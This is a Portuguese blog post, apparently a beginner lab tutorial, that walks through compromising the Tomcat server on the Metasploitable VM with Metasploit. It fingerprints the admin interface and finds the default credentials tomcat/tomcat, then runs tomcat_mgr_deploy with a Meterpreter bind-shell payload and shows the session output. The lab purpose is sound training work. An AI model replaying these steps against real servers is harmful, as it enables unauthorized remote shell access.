domingo, 24 de junho de 2012

Atirando o pau no gato com Metasploit

O artigo foi criado para fins éticos, e tem a função de demonstrar (para aqueles que estão iniciando) um pedaço do "poder de fogo" do Metasploit Framework. Para tal, iremos explorar vulnerabilidades na aplicação Tomcat (servidor de aplicações JEE) presente no Metasploitable.

Introdução e Levantamento de informações


Introdução

De acordo com o diretor de segurança (CSO) da Rapid7 e criador do Metasploit Project, HD Moore:

"A melhor maneira de lidar com os crescentes desafios de segurança de informação é compartilhar conhecimento entre profissionais, projetos em código aberto e fornecedores comerciais."

Para que esta analogia não ficasse apenas em teoria, os próprios desenvolvedores do Metasploit criaram o projeto Metasploitable, uma máquina virtual com diversos softwares vulneráveis, como o TikiWiki, SSH, MySql, entre outros.

Reiterando, o artigo foi criado para fins éticos, e tem a função de demonstrar (para aqueles que estão iniciando) um pedaço do "poder de fogo" do Metasploit Framework.
Para tal, iremos explorar vulnerabilidades na aplicação Tomcat (servidor de aplicações JEE) presente no Metasploitable.

O Cenário:
VirtualBox;
Backtrack 5;
Metasploitable (Download via torrent: http://updates.metasploit.com - Metasploitable).

Obs.1: Para "rodar" o Metasploitable (que está em VMDK) no VirtualBox, basta entrar na opção 'Sistema', e habilitar a opção 'IO APIC'.

Obs.2: Os testes serão realizados visando a agregação de conhecimento em uma falha já existente, e não a exploração de uma falha '0day'.

Levantando informações

Para que tenhamos êxito na identificação e exploração da vulnerabilidade, o primeiro passo será atualizar o Metasploit:

# msfupdate

Feito isto, iniciaremos o Metasploit no modo console (linha de comando):

# msfconsole

Com o Metasploit iniciado, iremos procurar e utilizar algum módulo auxiliar que se responsabilize pelo fingerprint da aplicação:

msf > search tomcat

Saída do comando:
auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access

(Este módulo é utilizado para detectar informações na interface de administração do Tomcat.)

msf > use auxiliary/admin/http/tomcat_administration

Quais opções este módulo auxiliar oferece? Simples, basta utilizar o comando 'show options':

msf auxiliary(tomcat_administration) > show options

Perceba que as opções requeridas já estão habilitadas por padrão, exceto a opção RHOTS, que indica o IP da máquina que hospeda o Tomcat (192.168.200.66). Vamos setar esta opção:

msf auxiliary(tomcat_administration) > set RHOSTS 192.168.200.66

Feito isto, basta executar o módulo:

msf auxiliary(tomcat_administration) > run

Saída do comando:
[*] http://192.168.200.66:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Analisando a saída do comando, percebemos que o Tomcat está "rodando" na porta 8180, e no fim da mesma linha entre colchetes "[ ]", informa o usuário e senha da interface administrativa; informação no qual, vai ser de grande utilidade em meio à exploração!

Explorando o Tomcat


Com a parte de 'fingerprint' concluída, é hora de procurarmos um Exploit:

msf auxiliary(tomcat_mgr_login) > back
msf > search tomcat


Perceba que existe apenas um Exploit para explorar o Tomcat (o restante são módulos auxiliares), conseguimos mais informações deste Exploit com o comando:

msf > info exploit/multi/http/tomcat_mgr_deploy

Perceba que a função do Exploit é injetar um Payload no 'Apache / Tomcat' a fim de obter acesso à aplicação.

msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show options


Com as opções listadas, é necessário setar algumas delas, como USERNAME, PASSWORD, RHOST e RPORT:

msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.200.66
msf exploit(tomcat_mgr_deploy) > set RPORT 8180


Encontrando um Payload

Agora é necessário encontrar um Payload para mantermos acesso ao sistema que hospeda a aplicação. Neste caso, através de uma shell:

msf exploit(tomcat_mgr_deploy) > show payloads

O comando 'show payloads', demonstra quais são os Payloads que podemos utilizar com esse Exploit.

Nesse caso, utilizarei o Payload 'java/meterpreter/bind_tcp', que tem a função de fornecer um 'Shell Meterpreter' ao atacante:

msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/bind_tcp

Feito isto, basta executar o comando 'exploit', e aguardar o shell meterpreter:

msf exploit(tomcat_mgr_deploy) > exploit

Saída do comando:
[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6219 bytes as yA3qxprcUAWuRo1mgLlruBue.war...
[*] Executing /yA3qxprcUAWuRo1mgLlruBue/fwPtbEiJ611zikx4AkQ0u5ddQs.jsp...
[*] Undeploying yA3qxprcUAWuRo1mgLlruBue...
[*] Sending stage (28469 bytes) to 192.168.200.66
[*] Meterpreter session 1 opened (192.168.200.3:59842 -> 192.168.200.66:4444) at 2011-12-29 13:24:00 -0200

meterpreter >

E ... VOILÀ !!

Conseguimos acesso ao sistema. Para saber quais comandos executar no Meterpreter, utilize o comando 'help':

meterpreter > help

Caso não se familiarize com o 'Shell Meterpreter', basta utilizar o comando 'shell', que o mesmo passará a ser o shell do sistema atacado, no nosso caso, o Bash.

meterpreter > shell

Espero que tenham gostado.

Até a próxima!
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86